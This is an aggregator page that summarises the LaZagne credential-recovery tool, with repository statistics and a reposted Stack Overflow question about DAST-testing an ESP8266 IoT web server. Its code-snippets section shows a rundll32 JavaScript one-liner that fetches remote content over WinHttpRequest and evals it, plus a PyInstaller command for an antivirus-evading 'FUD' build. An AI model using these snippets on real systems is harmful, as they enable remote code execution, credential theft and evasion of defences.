LaZagne | Credentials recovery project | Security Testing library

by AlessandroZ Python Version: v2.4.5 License: LGPL-3.0

X-Ray Key Features Code Snippets(2)Community Discussions(1)Vulnerabilities Install Support

kandi X-RAY | LaZagne Summary

Support

Quality

Security

License

Reuse

Support

LaZagne has a medium active ecosystem.

It has 8235 star(s) with 1939 fork(s). There are 405 watchers for this library.

It had no major release in the last 12 months.

There are 9 open issues and 435 have been closed. On average issues are closed in 563 days. There are 1 open pull requests and 0 closed requests.

It has a neutral sentiment in the developer community.

The latest version of LaZagne is v2.4.5

Quality

LaZagne has 11 bugs (4 blocker, 0 critical, 4 major, 3 minor) and 808 code smells.

Security

LaZagne has no vulnerabilities reported, and its dependent libraries have no vulnerabilities reported.

LaZagne code analysis shows 0 unresolved vulnerabilities.

There are 77 security hotspots that need review.

License

LaZagne is licensed under the LGPL-3.0 License. This license is Weak Copyleft.

Weak Copyleft licenses have some restrictions, but you can use them in commercial projects.

Reuse

LaZagne releases are available to install and integrate.

Build file is available. You can build the component from source.

Installation instructions are not available. Examples and code snippets are available.

LaZagne saves you 10920 person hours of effort in developing the same functionality from scratch.

It has 22144 lines of code, 1257 functions and 226 files.

It has medium code complexity. Code complexity directly impacts maintainability of the code.

Top functions reviewed by kandi - BETA

kandi has reviewed LaZagne and discovered the below as its top functions. This is intended to give you an instant insight into LaZagne implemented functionality, and help decide if they suit your requirements.

Convenience method for getting all the DB attributes .
Runs a category - specific category .
Dump credentials to a keychain .
Performs a memory search on the specified value .
Export the credentials to a database .
Retrieves the key from the log .
Encrypt the given data
Print the password .
Decode binary function .
Find all sessions that have already been set .

Get all kandi verified functions for this library.

LaZagne Key Features

No Key Features are available at this moment for LaZagne.

LaZagne Examples and Code Snippets

default

PowerShell

Lines of Code : 2

License : No License

Copy

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://:/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){window.close();}

rundll32.exe javasc

LaZagne-2.4.2 FUD

Python

Lines of Code : 1

License : Strong Copyleft (GPL-3.0)

Copy

pyinstaller.exe -F .\L0L.py -N r8547T

Community Discussions

Trending Discussions on Security Testing

DAST security scaning of a IoT Nodemcu esp8266 LUA script www HTML server connected to camera and A/C relay

QUESTION

DAST security scaning of a IoT Nodemcu esp8266 LUA script www HTML server connected to camera and A/C relay

Asked 2021-Apr-08 at 01:04

I have not, but shall DAST* security test, out of curiosity, an IoT device; Nodemcu esp8266 www server I built. It's showing a HTML page (on a mobile phone for example) that allows to control and interact with a camera module and a A/C relay. With it I can for example show images captured in the camera I even think it has some image recognition built in, and I can switch on and off a relay for electrical current to a light bulb (110/220v A/C power)

Before I start pentest I though I better start thinking of what types of exploits one would be able to find and detect? Which sinister exploits I will be able to find, or rather ought be able to find given a proper pentest exercise? (And if I do not find exploits, my approach to the pentest of the Iot might be wrong)

I ponder it might be a totally pointless exercise since the esp8266 www server (or rather its LUA programming libraries) might not have any security built into it, so basically it is "open doors" and everything with it is unsafe ?

The test report might just conclude what I can foresee be that the the "user input needs to be sanitized"?

Anyone have any idea what such pentest of a generic IoT device generally reports? Maybe it is possible to crash or reset the IoT device? Buffer overruns, XXS, call own code ?

I might use ZAP or Burpsuite or similar DAST security test tool.

I could of course SAST test it instead, or too, but I think it will be hard to find a static code analyzer for the NodeMCU libraries and NUA scripting language easily ? I found some references here though: https://ieeexplore.ieee.org/abstract/document/8227299 but it seems to be a long read.

So if someone just have a short answer what to expect in a DAST scan/pentest , it would be much appreciated.

Stay safe and secure out there ! Zombieboy

...

ANSWER

Answered 2021-Apr-08 at 01:04

I do my vulnerability scanning with OpenVAS (I assume this is what you mean by pentesting?). I am not aware of any IOT focused Tools.

If your server is running on esp8266, i would imagine that there is no much room for authentication and encryption of http traffic, but correct me if i am wrong).

Vulnerability Scan results might show things like unencrypted http traffic, credentials transmitted in cleartext (if you have any credentials fields in the pages served by the web server) etc. Depending on if there is encryption, you might also see weak encryption findings.

You might get some false positives on your lua webserver reacting like other known webservers when exploits are applied. I have seen this kind of false positive specially on DoS vulnerabilities when a vulnerability scan is testing a vulnerability and the server becomes unresponsive. Depending on how invasive your vulnerability scanner is, you might get a lot of false positives for DoS on such a constrained platform.

Source https://stackoverflow.com/questions/66995125

Community Discussions, Code Snippets contain sources that include Stack Exchange Network

Vulnerabilities

No vulnerabilities reported

Install LaZagne

You can download it from GitHub.
You can use LaZagne like any standard Python library. You will need to make sure that you have a development environment consisting of a Python distribution including header files, a compiler, pip, and git installed. Make sure that your pip, setuptools, and wheel are up to date. When using pip it is generally recommended to install packages in a virtual environment to avoid changes to the system.

Support

For any new features, suggestions and bugs create an issue on GitHub. If you have any questions check and ask questions on community page Stack Overflow .

Find more information at: